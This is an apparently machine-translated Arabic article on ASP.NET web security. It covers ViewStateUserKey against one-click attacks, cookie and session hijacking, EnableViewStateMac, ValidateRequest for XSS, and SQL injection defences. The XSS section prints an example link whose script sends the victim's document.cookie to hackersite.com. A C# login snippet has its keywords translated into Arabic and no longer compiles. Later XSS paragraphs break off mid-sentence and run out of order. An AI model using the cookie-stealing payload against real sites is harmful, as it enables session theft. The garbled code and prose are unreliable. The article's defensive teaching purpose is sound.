ما يجب على مطوري ASP.NET فعله دائمًا إذا كنت تقرأ هذه المقالة، فربما لا تحتاج إلى الاقتناع بأن الأمان في تطبيقات الويب أصبح ذا أهمية متزايدة. ما تحتاج إليه على الأرجح هو بعض النصائح العملية حول كيفية تطبيق الأمان في تطبيق ASP.NET الخاص بك. الخبر السيئ هو أنه لا توجد منصة تطوير، بما في ذلك ASP.NET، يمكنها أن تضمن أنه بمجرد اعتمادك للنظام الأساسي، ستتمكن من كتابة تعليمات برمجية آمنة بنسبة 100%. ومن يقول ذلك فلابد أنه يكذب. والخبر السار هو أنه في حالة ASP.NET، يتضمن ASP.NET، وخاصة الإصدار 1.1 والإصدار القادم 2.0، بعض الدفاعات المضمنة سهلة الاستخدام.
إن تطبيق كل هذه الميزات وحده لا يكفي لحماية تطبيق الويب من كل هجوم محتمل ومتوقع. ومع ذلك، عند دمجها مع تقنيات الدفاع واستراتيجيات الأمان الأخرى، يمكن لوظيفة ASP.NET المضمنة أن تشكل مجموعة أدوات قوية للمساعدة في ضمان تشغيل التطبيقات في بيئة آمنة.
أمان الويب هو مجموع العديد من العوامل وهو نتيجة لاستراتيجية تمتد إلى ما هو أبعد من تطبيق واحد وتتضمن إدارة قواعد البيانات وتكوين الشبكة والهندسة الاجتماعية والتصيد الاحتيالي.
الغرض من هذه المقالة هو شرح ما يجب على مطوري ASP.NET فعله دائمًا للحفاظ على معايير الأمان عند مستوى معقول. هذا هو جوهر الأمن: البقاء يقظًا وعدم التخلي عن حذرك تمامًا، مما يزيد من صعوبة اختراق الأشرار.
دعونا نلقي نظرة على الميزات التي يوفرها ASP.NET لتبسيط هذا العمل.
العودة إلى أعلى مصادر التهديدات في الجدول 1، قمت بتلخيص أكثر أنواع هجمات الويب شيوعًا، بالإضافة إلى العيوب الموجودة في التطبيقات التي قد تسمح بنجاح هذه الهجمات.
مرتكبو الهجمات المحتملون البرمجة النصية عبر المواقع (XSS)
تم تكرار إدخال المستخدم غير الموثوق به إلى الصفحة
حقن SQL إدخال المستخدم المتسلسلة لتشكيل أمر SQL
اختطاف الجلسة معرف الجلسة معرف الجلسة المسروق ملفات تعريف الارتباط
نقرة واحدة غير ملحوظة تم إرسال HTTP عبر البرنامج النصي نشر
التلاعب بالمجال المخفي يتم ملء الحقول المخفية غير المحددة (والموثوقة) بعناصر حساسة بيانات
ما هي الحقائق الأساسية التي تظهر من قائمة
هجمات الويب الشائعة
؟في رأيي، هناك ثلاثة أشياء على الأقل:
• عندما تقوم بإدخال أي مستخدم في علامة المتصفح، فمن المحتمل أن تعرض نفسك لهجمات حقن التعليمات البرمجية (أي حقن SQL ومتغيرات XSS).
• يجب تنفيذ الوصول إلى قاعدة البيانات بطريقة آمنة، أي استخدام أقل عدد ممكن من الأذونات لقاعدة البيانات وتقسيم مسؤوليات المستخدمين الفرديين من خلال الأدوار.
• لا ينبغي أبدًا إرسال البيانات الحساسة عبر الشبكة (ناهيك عن البيانات الواضحة) ويجب تخزينها على الخادم بطريقة آمنة.
ومن المثير للاهتمام أن النقاط الثلاث المذكورة أعلاه تستهدف على التوالي ثلاثة جوانب مختلفة لأمن الويب، والجمع بين هذه الجوانب الثلاثة هو الطريقة المعقولة الوحيدة لإنشاء تطبيقات مقاومة للهجوم والتلاعب. يمكن تلخيص الطبقات المختلفة لأمن الويب على النحو التالي:
• ممارسات الترميز: التحقق من صحة البيانات، والتحقق من النوع وطول المخزن المؤقت، وإجراءات مقاومة التلاعب
• سياسات الوصول إلى البيانات: استخدام القرارات لحماية أضعف الحسابات الممكنة، أو استخدام الإجراءات المخزنة أو على الأقل تحديد المعلمات يأمر.
• التخزين والإدارة الفعالة: لا ترسل البيانات المهمة إلى العميل، واستخدم رموز التجزئة للكشف عن العمليات، ومصادقة المستخدمين وحماية الهويات، وتطبيق سياسات كلمة المرور الصارمة
كما ترون، لا يمكن إنتاج التطبيقات الآمنة إلا من خلال الجهود المشتركة للمطورين والمهندسين المعماريين والمسؤولين. من فضلك لا تفترض أنه يمكنك تحقيق نفس الغرض بأي طريقة أخرى.
عندما تكتب تطبيق ASP.NET، فأنت لست وحدك في مواجهة جيش من المتسللين: أسلحتك الوحيدة هي سطور التعليمات البرمجية التي تكتبها بعقلك، ومهاراتك، وأصابعك. يأتي ASP.NET 1.1 والإصدارات الأحدث للإنقاذ بميزات محددة تعمل تلقائيًا على زيادة دفاعك ضد بعض التهديدات المذكورة أعلاه. أدناه نفحصها بالتفصيل.
عرض حالة المستخدم
تم تقديم ViewStateUserKey منذ ASP.NET 1.1، وهو عبارة عن خاصية سلسلة لفئة الصفحة التي لا يعرفها سوى عدد قليل من المطورين. لماذا؟ دعونا نرى ما تقوله الوثائق.
تعيين معرف لمستخدم فردي في متغير حالة العرض المرتبط بالصفحة الحالية
، فإن معنى هذه الجملة واضح تمامًا، ولكن هل يمكنك أن تخبرني بصراحة أنها تصف الغرض الأصلي من الخاصية؟ لفهم دور ViewStateUserKey، تحتاج إلى مواصلة القراءة حتى قسم الملاحظات.
تساعد هذه الخاصية على منع هجمات النقرة الواحدة لأنها توفر مدخلات إضافية لإنشاء تجزئة تمنع التلاعب بحالة العرض. بمعنى آخر، يجعل ViewStateUserKey من الصعب جدًا على المتسللين استخدام محتويات حالة عرض العميل لإعداد منشورات ضارة ضد موقع ما. يمكن تعيين هذه الخاصية لأي سلسلة غير فارغة، ولكن يفضل أن يكون معرف الجلسة أو معرف المستخدم. لفهم أهمية هذه الخاصية بشكل أفضل، دعونا نقدم بإيجاز أساسيات الهجمات بنقرة واحدة.
يتضمن الهجوم بنقرة واحدة نشر نموذج HTTP ضار على موقع ويب معروف ومعرض للخطر. يطلق عليها "النقرة الواحدة" لأنها تبدأ غالبًا عندما ينقر الضحية عن غير قصد على رابط مغري يجده عبر البريد الإلكتروني أو أثناء التصفح في منتدى مزدحم. من خلال النقر على الرابط، قام المستخدم عن غير قصد بتشغيل عملية عن بعد أدت في النهاية إلى إرسال <نموذج> ضار إلى أحد المواقع. لنكن صادقين هنا: هل يمكنك حقًا أن تخبرني أنك لم تنقر مطلقًا على رابط مثل انقر هنا للفوز بمليون دولار بدافع الفضول؟ من الواضح أنه لم يحدث لك شيء سيء. لنفترض أن هذا هو الحال، هل يمكنك القول إن كل شخص آخر في مجتمع الويب نجا؟ من يدري.
لكي يكون الهجوم ناجحًا، يتطلب الهجوم بنقرة واحدة شروطًا أساسية معينة:
• يجب أن يكون لدى المهاجم معرفة كافية بالموقع المعرض للخطر. وهذا ممكن لأن المهاجم يمكنه دراسة الملف "بجد" أو أنه شخص غاضب من الداخل (على سبيل المثال، موظف تم فصله لأنه غير أمين). ولذلك، فإن عواقب مثل هذا الهجوم يمكن أن تكون خطيرة للغاية.
• يجب أن يستخدم الموقع ملفات تعريف الارتباط (ملفات تعريف الارتباط الدائمة هي الأفضل) لتمكين تسجيل الدخول الموحد، وأن يكون المهاجم قد تلقى ملف تعريف ارتباط صالحًا للمصادقة.
• يشارك بعض مستخدمي الموقع في معاملات حساسة.
• يجب أن يكون لدى المهاجم حق الوصول إلى الصفحة المستهدفة.
كما ذكرنا من قبل، يتضمن الهجوم إرسال نموذج HTTP ضار إلى صفحة تنتظر النموذج. يمكن الاستدلال على أن هذه الصفحة ستستخدم البيانات المنشورة لإجراء بعض العمليات الحساسة. وكما يمكنك أن تتخيل، يعرف المهاجم بالضبط كيفية استخدام كل مجال ويمكنه التوصل إلى بعض القيم المزيفة لتحقيق أهدافه. عادةً ما يكون هذا هجومًا محدد الهدف ويصعب تتبعه بسبب العلاقة الثلاثية التي ينشئها - أي أن المتسلل يخدع الضحية للنقر على رابط على موقع المتسلل، مما يؤدي بدوره إلى نشر التعليمات البرمجية الضارة على موقع ثلاثة مواقع.
لماذا الضحية المطمئنة؟ وذلك لأن عنوان IP الذي يظهر منه الطلب الضار في سجلات الخادم، في هذه الحالة، هو عنوان IP الخاص بالضحية. كما ذكرنا من قبل، هذه الأداة ليست شائعة (وسهلة التشغيل) مثل XSS "الكلاسيكي"، ومع ذلك، فإن طبيعتها تعني أن عواقبها يمكن أن تكون كارثية. كيفية التعامل معها؟ بعد ذلك، سندرس كيفية عمل هذا الهجوم في بيئة ASP.NET.
ما لم يتم ترميز الإجراء في حدث Page_Load، فمن المستحيل على صفحة ASP.NET تنفيذ تعليمات برمجية حساسة خارج حدث إعادة النشر. لكي يحدث حدث إعادة النشر، يلزم وجود حقل حالة العرض. ضع في اعتبارك أن ASP.NET يتحقق من حالة إعادة النشر للطلب، ويقوم بتعيين IsPostBack وفقًا لما إذا كان حقل الإدخال _VIEWSTATE موجودًا أم لا. ولذلك، يجب على من يريد إرسال طلب وهمي إلى صفحة ASP.NET توفير حقل حالة عرض صالح.
لكي ينجح الهجوم بنقرة واحدة، يجب أن يكون المتسلل قادرًا على الوصول إلى الصفحة. عند هذه النقطة، سيقوم المتسلل بعيد النظر بحفظ الصفحة محليًا. بهذه الطريقة، يمكنه الوصول إلى حقل _VIEWSTATE واستخدام هذا الحقل لإنشاء طلبات بحالة العرض القديمة والقيم الضارة من الحقول الأخرى. السؤال هو هل سينجح هذا؟
ولم لا؟ إذا تمكن المهاجم من تقديم ملف تعريف ارتباط مصادقة صالح، فسيتمكن المتسلل من الدخول وستتم معالجة الطلب كالمعتاد. لا يتم التحقق من محتويات حالة العرض على الخادم على الإطلاق (عند إيقاف تشغيل EnableViewStataMac)، أو فقط في حالة العبث بها. افتراضيًا، لا توجد آلية في حالة العرض لربط هذا المحتوى بمستخدم معين. يمكن للمهاجم بسهولة إعادة استخدام حالة العرض التي تم الحصول عليها للوصول بشكل شرعي إلى الصفحة عن طريق انتحال شخصية مستخدم آخر لإنشاء طلبات مزيفة. هذا هو المكان الذي يتدخل فيه ViewStateUserKey.
إذا تم تحديدها بدقة، فيمكن لهذه الخاصية إضافة معلومات خاصة بالمستخدم إلى حالة العرض. عند معالجة طلب، يقوم ASP.NET باستخراج المفتاح من حالة العرض ومقارنته مع ViewStateUserKey للصفحة قيد التشغيل. إذا تطابق الاثنان، فسيتم اعتبار الطلب شرعيًا؛ وإلا سيتم طرح استثناء. ما هي القيم الصالحة لهذه السمة؟
إن تعيين ViewStateUserKey على سلسلة ثابتة لجميع المستخدمين يعادل تركه فارغًا. يجب عليك تعيينها على قيمة مختلفة لكل مستخدم - معرف المستخدم، ويفضل معرف الجلسة. لبعض الأسباب التقنية والاجتماعية، تكون معرفات الجلسة أكثر ملاءمة لأن معرفات الجلسة لا يمكن التنبؤ بها، وتنتهي صلاحيتها بمرور الوقت، وتختلف من مستخدم لآخر.
إليك بعض التعليمات البرمجية الضرورية في جميع صفحاتك:
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID;
:
}
لتجنب كتابة هذه التعليمات البرمجية بشكل متكرر، يمكنك تثبيتها في الأسلوب الظاهري OnInit لفئة مشتقة من Page. (لاحظ أنه يجب عليك تعيين هذه الخاصية في حدث Page.Init.)
protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}
بشكل عام، يعد استخدام فئات الصفحات الأساسية أمرًا جيدًا دائمًا، كما أوضحت في المقالة إنشاء صفحات ASP.NET الخاصة بك على قاعدة أكثر ثراءً. إذا كنت تريد معرفة المزيد حول التكتيكات التي يستخدمها المهاجمون بنقرة واحدة، فيمكنك العثور على مقالة جيدة جدًا على aspnetpro.com.
ملفات تعريف الارتباط والمصادقة
توجد ملفات تعريف الارتباط لأنها تساعد المطورين على تحقيق غرض معين. تعمل ملفات تعريف الارتباط كرابط دائم بين المتصفح والخادم. خاصة بالنسبة للتطبيقات التي تستخدم تسجيل الدخول الموحد، فإن ملفات تعريف الارتباط المسروقة هي التي تجعل الهجمات ممكنة. وهذا صحيح تمامًا بالنسبة للهجوم بنقرة واحدة.
لاستخدام ملفات تعريف الارتباط، لا تحتاج إلى إنشائها وقراءتها برمجيًا بشكل صريح. إذا كنت تستخدم حالة الجلسة وقمت بتنفيذ مصادقة النماذج، فإنك تستخدم ملفات تعريف الارتباط ضمنيًا. بالطبع، يدعم ASP.NET حالة الجلسة بدون ملفات تعريف الارتباط، ويقدم ASP.NET 2.0 أيضًا مصادقة النماذج بدون ملفات تعريف الارتباط. لذلك، يمكنك نظريًا استخدام هذه الميزات بدون ملفات تعريف الارتباط. أنا لا أقول أنه ليس عليك القيام بذلك بعد الآن، ولكن الحقيقة هي أن هذه إحدى الحالات التي يكون فيها العلاج أسوأ من المرض. تقوم الجلسة الخالية من ملفات تعريف الارتباط في الواقع بتضمين معرف الجلسة في عنوان URL حتى يتمكن أي شخص من رؤيته.
ما هي المشكلات المحتملة المتعلقة باستخدام ملفات تعريف الارتباط؟ يمكن سرقة ملفات تعريف الارتباط (أي نسخها إلى كمبيوتر المتسلل) وتسميمها (أي مليئة بالبيانات الضارة). غالبًا ما تكون هذه الإجراءات مقدمة لهجوم قادم. في حالة سرقة ملف تعريف الارتباط، "يسمح" ملف تعريف الارتباط للمستخدمين الخارجيين بالاتصال بالتطبيق (واستخدام الصفحات المحمية) نيابةً عنك، مما قد يسمح للمتسلل بالتحايل بسهولة على الترخيص والقدرة على القيام بما يسمح به الدور وإعدادات الأمان للضحية. أي عملية. ولذلك، عادةً ما يتم منح ملفات تعريف الارتباط المصادقة عمرًا قصيرًا نسبيًا يبلغ 30 دقيقة. (لاحظ أنه حتى إذا استغرقت جلسة المتصفح وقتًا أطول للاكتمال، فستستمر صلاحية ملف تعريف الارتباط.) في حالة حدوث سرقة، يكون لدى المتسللين نافذة مدتها 30 دقيقة لمحاولة الهجوم.
يمكنك جعل هذا الحد الزمني أطول حتى لا يضطر المستخدمون إلى تسجيل الدخول كثيرًا، ولكن عليك أن تدرك أنك تعرض نفسك للخطر من خلال القيام بذلك. يجب تجنب استخدام ملفات تعريف الارتباط الدائمة لـ ASP.NET تحت أي ظرف من الظروف. سينتج عن ذلك ملفات تعريف ارتباط ذات عمر دائم تقريبًا يصل إلى 50 عامًا! يوضح مقتطف التعليمات البرمجية التالي كيفية تعديل تاريخ انتهاء صلاحية ملف تعريف الارتباط بسهولة.
باطلة OnLogin(مرسل الكائن، EventArgs e) {
// التحقق من بيانات الاعتماد
إذا (ValidateUser(user, pswd)) {
// قم بتعيين تاريخ انتهاء صلاحية ملف تعريف الارتباط
ملف تعريف الارتباط HttpCookie؛
ملف تعريف الارتباط = FormsAuthentication.GetAuthCookie(user, isPersistent);
إذا (مستمر)
cookie.Expires = DateTime.Now.AddDays(10);
// أضف ملف تعريف الارتباط إلى الاستجابة
Response.Cookies.Add(cookie);
//إعادة التوجيه
سلسلة الهدفUrl؛
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
يمكنك استخدام هذا الرمز في نموذج تسجيل الدخول الخاص بك لضبط عمر ملف تعريف ارتباط المصادقة.
اختطاف الجلسة
تُستخدم ملفات تعريف الارتباط أيضًا لاسترداد حالة الجلسة لمستخدم معين. يتم تخزين معرف الجلسة في ملف تعريف الارتباط الذي يتم إرساله ذهابًا وإيابًا مع الطلب وتخزينه على كمبيوتر المتصفح. وبالمثل، في حالة سرقته، يمكن استخدام ملف تعريف ارتباط الجلسة للسماح للمتسلل باقتحام النظام والوصول إلى حالة جلسة شخص آخر. وغني عن القول أن هذا ممكن طالما أن الجلسة المحددة نشطة (عادة لا تزيد عن 20 دقيقة). يسمى الهجوم من خلال حالة الجلسة المنتحلة باختطاف الجلسة. لمزيد من المعلومات حول اختطاف الجلسة، اقرأ السرقة على الويب: منع اختطاف الجلسة.
ما مدى خطورة هذا الهجوم؟ من الصعب معرفة ذلك. ويعتمد هذا على وظيفة موقع الويب، والأهم من ذلك، كيفية تصميم صفحات الموقع. على سبيل المثال، لنفترض أنك تمكنت من الحصول على ملف تعريف ارتباط جلسة شخص آخر وإرفاقه بطلب لصفحة على موقعك. تقوم بتحميل الصفحة والتنقل خلال واجهة المستخدم العادية الخاصة بها. لا يمكنك إدخال أي كود في الصفحة، ولا تعديل أي شيء في الصفحة، باستثناء أن الصفحة تعمل باستخدام حالة جلسة مستخدم آخر. وهذا ليس سيئًا للغاية في حد ذاته، ولكن إذا كانت المعلومات الموجودة في تلك الجلسة حساسة وحاسمة، فقد يؤدي ذلك مباشرةً إلى استغلال ناجح. لا يستطيع المتسلل اختراق محتويات مخزن الجلسة، لكن يمكنه استخدام المعلومات المخزنة هناك كما لو كان قد دخل بشكل قانوني. على سبيل المثال، فكر في أحد تطبيقات التجارة الإلكترونية حيث يقوم المستخدمون بإضافة عناصر إلى عربات التسوق الخاصة بهم أثناء تصفح الموقع.
• الخيار 1. يتم تخزين محتويات عربة التسوق في حالة الجلسة. ومع ذلك، أثناء الخروج، يُطلب من المستخدمين تأكيد تفاصيل الدفع وإدخالها عبر اتصال SSL آمن. في هذه الحالة، من خلال الوصول إلى حالة الجلسة للمستخدمين الآخرين، يمكن للمتسلل معرفة بعض التفاصيل فقط حول تفضيلات التسوق الخاصة بالضحية. الاختطاف في هذه البيئة لا يسبب في الواقع أي ضرر. ما هو على المحك هو السرية.
• الخيار 2. يقوم التطبيق بمعالجة ملف تعريف واحد لكل مستخدم مسجل ويحفظ ملف التعريف في حالة الجلسة. والأسوأ من ذلك أن الملف الشخصي (على الأرجح) يتضمن معلومات بطاقة الائتمان. لماذا يتم تخزين تفاصيل الملف الشخصي في الجلسة؟ ربما يكون أحد أهداف التطبيق هو منع المستخدمين من الاضطرار إلى كتابة معلومات بطاقة الائتمان والمعلومات المصرفية الخاصة بهم بشكل متكرر. ولذلك، عند الخروج، يوجه التطبيق المستخدم إلى صفحة ذات نطاق مملوء مسبقًا. ومن غير الضروري أن يكون أحد هذه الحقول هو رقم بطاقة الائتمان التي تم الحصول عليها من حالة الجلسة. هل يمكنك أن تخمن الآن كيف تنتهي القصة؟
يعد تصميم صفحات التطبيق هو المفتاح لمنع هجمات اختطاف الجلسة. وبطبيعة الحال، لا تزال هناك نقطتان لم يتم توضيحهما. النقطة الأولى هي كيفية منع سرقة ملفات تعريف الارتباط؟ النقطة الثانية هي كيف يمكن لـ ASP.NET اكتشاف ومنع الاختطاف؟
ملفات تعريف الارتباط لجلسة ASP.NET بسيطة للغاية وتقتصر على احتواء سلسلة معرف الجلسة نفسها. يقوم وقت تشغيل ASP.NET باستخراج معرف الجلسة من ملف تعريف الارتباط ومقارنته بالجلسة النشطة. إذا كان المعرف صالحًا، فسيقوم ASP.NET بالاتصال بالجلسة المقابلة والمتابعة. يسهل هذا السلوك إلى حد كبير المتسللين الذين سرقوا أو يمكنهم تخمين معرف جلسة صالح.
تعد هجمات XSS وman-in-the-middle، بالإضافة إلى الوصول القسري إلى جهاز الكمبيوتر العميل، كلها طرقًا للحصول على ملفات تعريف الارتباط الصالحة. لمنع السرقة، يجب عليك تطبيق أفضل ممارسات الأمان لمنع نجاح XSS ومتغيراته.
ولمنع تخمين معرف الجلسة، يجب عليك ببساطة تجنب المبالغة في تقدير مهاراتك. إن تخمين معرف الجلسة يعني أنك تعرف كيفية التنبؤ بسلسلة معرف جلسة صالحة. بالنسبة للخوارزمية المستخدمة بواسطة ASP.NET (15 رقمًا عشوائيًا تم تعيينها لأحرف ممكّنة لعنوان URL)، فإن احتمال التخمين العشوائي لمعرف صالح يقترب من الصفر. لا أستطيع التفكير في أي سبب لاستبدال منشئ معرف الجلسة الافتراضي بمولد معرف الجلسة الخاص بك. في كثير من الحالات، يؤدي القيام بذلك إلى تسهيل الأمور على المهاجم.
والنتيجة الأسوأ لاختطاف الجلسة هي أنه بمجرد سرقة ملف تعريف الارتباط أو تخمينه، لا يكون لدى ASP.NET أي طريقة لاكتشاف الاستخدام الاحتيالي لملفات تعريف الارتباط. مرة أخرى، السبب هو أن ASP.NET يقتصر على التحقق من صحة المعرف وأصل ملف تعريف الارتباط.
كتب صديقي جيف بروسيس من Wintellect مقالة جيدة حول اختطاف الجلسة لمجلة MSDN. استنتاجه ليس مريحًا: يكاد يكون من المستحيل بناء دفاعات يمكنها الحماية بشكل كامل من الهجمات بناءً على ملفات تعريف الارتباط المسروقة لمعرف الجلسة. لكن الكود الذي طوره يقدم اقتراحات معقولة للغاية لمزيد من تحسين معايير الأمان. أنشأ جيف وحدة HTTP تراقب الطلبات الواردة والاستجابات الصادرة لملفات تعريف الارتباط لمعرف الجلسة. تقوم هذه الوحدة بإلحاق رمز التجزئة بمعرف الجلسة، مما يجعل من الصعب على المهاجم إعادة استخدام ملف تعريف الارتباط. يمكنك قراءة التفاصيل هنا.
تمكينViewStateMac
يتم استخدام حالة العرض للحفاظ على حالة التحكم بين طلبين متتاليين لنفس الصفحة. افتراضيًا، تكون حالة العرض مشفرة بـ Base64 وموقعة بعلامة تجزئة لمنع التلاعب. لا يمكن التلاعب بحالة العرض دون تغيير إعدادات الصفحة الافتراضية. إذا قام أحد المهاجمين بتعديل حالة العرض، أو حتى إعادة إنشاء حالة العرض باستخدام الخوارزمية الصحيحة، فسوف يلتقط ASP.NET هذه المحاولات ويطرح استثناءً. إن التلاعب بحالة العرض ليس بالضرورة ضارًا، على الرغم من أنه يعدل حالة عناصر التحكم في الخادم — ولكنه يمكن أن يكون وسيلة للإصابة الخطيرة. لذلك، من المهم للغاية عدم إزالة التحقق المتبادل من رمز مصادقة الكمبيوتر (MAC) الذي يحدث افتراضيًا.
عند تمكين فحص MAC (الافتراضي)، يتم إلحاق قيمة التجزئة بحالة العرض التسلسلية، والتي يتم إنشاؤها باستخدام بعض القيم من جانب الخادم وسر مستخدم حالة العرض (إن وجد). عند إعادة نشر حالة العرض مرة أخرى، تتم إعادة حساب التجزئة باستخدام القيمة الجديدة من جانب الخادم ومقارنتها بالقيمة المخزنة. إذا تطابق الاثنان، يُسمح بالطلب، وإلا فسيتم طرح استثناء. حتى بافتراض أن المتسلل لديه القدرة على كسر حالة العرض وإعادة إنشائها، فإنه سيظل بحاجة إلى معرفة القيمة المخزنة بواسطة الخادم من أجل استخلاص تجزئة صالحة. على وجه التحديد، يحتاج المتسلل إلى معرفة مفتاح الكمبيوتر المشار إليه في إدخال <machineKey> الخاص بالجهاز.
افتراضيًا، يتم إنشاء الإدخالات تلقائيًا وتخزينها فعليًا في Windows Local Security Authority (LSA). فقط في حالة مزرعة الويب، حيث يجب أن يكون مفتاح الجهاز لحالة العرض هو نفسه على كافة الأجهزة، يجب عليك تحديده كنص واضح في ملف Machine.config.
يتم التحكم في التحقق من حالة MAC من خلال سمة توجيه @Page تسمى EnableViewStateMac. كما ذكرنا من قبل، بشكل افتراضي، يتم تعيينه على صحيح. يرجى عدم تعطيل هذا مطلقًا؛ سيؤدي القيام بذلك إلى جعل الهجوم بنقرة واحدة على التلاعب بحالة العرض ممكنًا مع احتمالية نجاح عالية.
التحقق من صحة الطلب
تعد البرمجة النصية عبر المواقع (XSS) صديقًا قديمًا للعديد من مطوري الويب ذوي الخبرة، حيث كانت موجودة منذ عام 1999. ببساطة، يستغل XSS الثغرات الأمنية في التعليمات البرمجية لإدخال تعليمات برمجية قابلة للتنفيذ للمتسلل إلى جلسة متصفح مستخدم آخر. في حالة تنفيذه، يمكن للتعليمات البرمجية المحقونة تنفيذ عدد من الإجراءات المختلفة — الحصول على ملف تعريف الارتباط وتحميل نسخة إلى موقع ويب يتحكم فيه المتسللون، ومراقبة جلسة الويب الخاصة بالمستخدم وإعادة توجيه البيانات، وتعديل سلوك ومظهر الصفحة المخترقة بحيث قم بتقديم معلومات خاطئة أو حتى اجعل نفسك مثابرًا حتى أنه في المرة التالية التي يعود فيها المستخدم إلى الصفحة، سيتم تشغيل التعليمات البرمجية المخادعة مرة أخرى. اقرأ المزيد حول أساسيات هجمات XSS في مقالة TechNet نظرة عامة على البرمجة النصية للمواقع المشتركة.
ما هي نقاط الضعف في التعليمات البرمجية التي تجعل هجمات XSS ممكنة؟
يستغل XSS تطبيقات الويب التي تنشئ صفحات HTML ديناميكيًا ولكنها لا تتحقق من صحة الإدخال الذي يتم إرجاعه إلى الصفحة. يشير الإدخال هنا إلى سلاسل الاستعلام وملفات تعريف الارتباط ومحتويات حقول النموذج. إذا ظهر هذا المحتوى على الويب دون إجراء فحوصات مناسبة للأداء، فهناك خطر من أن يتمكن المتسللون من التلاعب به لتنفيذ نصوص برمجية ضارة في متصفحات العملاء. (هجوم النقرة الواحدة المذكور سابقًا هو في الواقع نسخة حديثة من XSS.) يتسبب هجوم XSS النموذجي في قيام مستخدم غير متوقع بالنقر فوق رابط مغري أفلت من رمز البرنامج النصي المضمن في الرابط. سيتم إرسال الكود المخادع إلى صفحة ضعيفة ستخرجه دون أي شك. فيما يلي مثال لما قد يحدث:
<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
＜/script>">انقر للمطالبة بجائزتك＜/a>
ينقر المستخدم على رابط يبدو آمنًا، مما يؤدي في النهاية إلى تمرير بعض التعليمات البرمجية النصية إلى صفحة معرضة للخطر. تحصل هذه الرموز أولاً على جميع ملفات تعريف الارتباط الموجودة على جهاز الكمبيوتر الخاص بالمستخدم. وهي
ومن المهم ملاحظة أن XSS ليست مشكلة خاصة بالمورد، لذلك لا تؤثر بالضرورة على جميع خوادم الويب والمتصفحات الموجودة حاليًا في
السوق
يمكنك حماية صفحاتك بشكل كامل من هجمات XSS من خلال تطبيق تدابير محددة وممارسات ترميزية معقولة. كمايرجى
ملاحظة أن المهاجمين لا يحتاجون إلى القيام بذلك عن طريق النقر فوق الرابط
حدد المدخلات الصحيحة ثم قم برفض جميع المدخلات الأخرى. يمكنك قراءة قائمة مرجعية مفصلة للدفاع ضد هجمات XSS في هذا الكتاب الذي يجب قراءته في Microsoft - كتابة التعليمات البرمجية الآمنة، بقلم مايكل هوارد وديفيد ليبلانك على وجه الخصوص
الطريقة الأساسية لمنع هجمات XSS الخبيثة هي تغذية مدخلاتك (أي نوع من بيانات الإدخال) وإضافة طبقة تحقق فعالة ومصممة جيدًا، على سبيل المثال،
في
بعض الحالات، حتى الألوان غير الضارة (RGB
tricolor) جلبت نصوصًا برمجية غير خاضعة للرقابة مباشرة إلى الصفحة.
عند تشغيل سمة ValidateRequest في توجيه @Page، يتم إجراء فحص للتأكد من أن المستخدم لم يرسل علامات HTML التي يحتمل أن تكون خطرة في سلسلة الاستعلام أو ملفات تعريف الارتباط أو حقول النموذج. إذا تم اكتشاف ذلك، فسيتم ظهور استثناء ويتم إلغاء الطلب. تكون هذه السمة قيد التشغيل بشكل افتراضي؛ ولا تحتاج إلى القيام بأي شيء لتكون محميًا. إذا كنت تريد السماح لعلامات HTML بالمرور، فيجب عليك تعطيل هذا السمة
<%@ Page ValidateRequest="false" %>
ValidateRequest ليس حلاً سحريًا، وليس بديلاً لطبقة التحقق الصالحة. اقرأ هنا للحصول على الكثير من المعلومات القيمة حول المبادئ الأساسية لهذه الميزة تسلسلات ضارة من خلال تطبيق تعبير عادي.
ملاحظة: ميزة ValidateRequest بها خلل بطبيعتها، لذا تحتاج إلى تطبيق تصحيح حتى تعمل كما هو متوقع. ومن الغريب أنني وجدت أن أحد أجهزتي لا يزال متأثرًا بهذا الخلل
دون أي إغلاق ValidateRequest! يمكنك تعطيله، ولكن يجب أن يكون لديك سبب وجيه جدًا؛ قد يكون أحد هذه الأسباب هو أن المستخدمين بحاجة إلى أن يكونوا قادرين على نشر بعض HTML على الموقع للحصول على خيارات تنسيق أفضل. في هذه الحالة، يجب عليك تحديد عدد علامات HTML المسموح بها (<pre>، <b>، <i>، <p>، <br>، <hr>) وكتابة تعبير عادي لضمان عدم السماح بأي شيء آخر أو مقبولة.
فيما يلي بعض النصائح الإضافية للمساعدة في حماية ASP.NET من هجمات XSS:
استخدم HttpUtility.HtmlEncode لتحويل الرموز الخطيرة إلى تمثيلات HTML الخاصة بها.
• استخدم علامات الاقتباس المزدوجة بدلاً من علامات الاقتباس المفردة لأن ترميز HTML لا يفلت إلا من علامات الاقتباس المزدوجة.
• فرض صفحة الرموز لتحديد عدد الأحرف التي يمكن استخدامها.
باختصار، استخدم خاصية ValidateRequest ولكن لا تثق بها تمامًا ولا تكن كسولًا جدًا. خذ الوقت الكافي لفهم التهديدات الأمنية بشكل أساسي مثل XSS والتخطيط لاستراتيجية دفاعية تتمحور حول نقطة رئيسية واحدة: جميع مدخلات المستخدم خطيرة.
منظور قاعدة البيانات
يعد حقن SQL نوعًا آخر معروفًا من الهجمات التي تستغل التطبيقات التي تستخدم إدخال المستخدم غير المعقم لتشكيل أوامر قاعدة البيانات. إذا كان أحد التطبيقات يستخدم بكل سرور ما يكتبه المستخدم في حقل نموذج لإنشاء سلسلة أوامر SQL، فإنه يعرضك لخطر قيام مستخدم ضار بتعديل طبيعة الاستعلام ببساطة عن طريق زيارة الصفحة وإدخال معلمات احتيالية. يمكنك معرفة المزيد حول حقن SQL هنا.
هناك العديد من الطرق لمنع هجمات حقن SQL. يتم وصف التقنيات الأكثر شيوعا أدناه.
• التأكد من أن إدخال المستخدم من النوع المناسب ويتبع النمط المتوقع (الرمز البريدي، رقم الهوية، البريد الإلكتروني، وما إلى ذلك). إذا كان من المتوقع وجود رقم من مربع نص، فقم بحظر الطلب عندما يقوم المستخدم بإدخال شيء لا يمكن تحويله إلى رقم.
• استخدم الاستعلامات ذات المعلمات، ويفضل الإجراءات المخزنة.
• استخدم أذونات SQL Server لتحديد ما يمكن للمستخدمين الفرديين القيام به في قاعدة البيانات. على سبيل المثال، قد تحتاج إلى تعطيل xp_cmdshell أو قصر العملية على المسؤولين فقط.
